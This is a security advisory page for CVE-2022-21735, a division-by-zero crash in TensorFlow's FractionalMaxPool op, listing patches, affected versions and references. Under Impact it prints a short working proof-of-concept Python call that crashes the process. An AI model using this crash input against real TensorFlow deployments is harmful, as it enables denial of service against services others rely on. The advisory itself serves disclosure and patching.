Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS04N3Y2LWNyZ20tMmdmas0odQ

Division by zero in Tensorflow

Impact

The implementation of FractionalMaxPool can be made to crash a TensorFlow process via a division by 0:

import tensorflow as tf
import numpy as np

tf.raw_ops.FractionalMaxPool(
  value=tf.constant(value=[[[[1, 4, 2, 3]]]], dtype=tf.int64),
  pooling_ratio=[1.0, 1.44, 1.73, 1.0],
  pseudo_random=False,
  overlapping=False,
  deterministic=False,
  seed=0,
  seed2=0,
  name=None)

Patches

We have patched the issue in GitHub commit ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb.

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.

Permalink: https://github.com/advisories/GHSA-87v6-crgm-2gfj
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04N3Y2LWNyZ20tMmdmas0odQ
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 years ago
Updated: about 1 year ago

CVSS Score: 6.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-87v6-crgm-2gfj, CVE-2022-21735
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-87v6-crgm-2gfj
• https://github.com/tensorflow/tensorflow/commit/ba4e8ac4dc2991e350d5cc407f8598c8d4ee70fb
• https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_max_pool_op.cc#L36-L192
• https://nvd.nist.gov/vuln/detail/CVE-2022-21735
• https://github.com/advisories/GHSA-87v6-crgm-2gfj

Repository: https://github.com/tensorflow/tensorflow
Blast Radius: 31.6

Affected Packages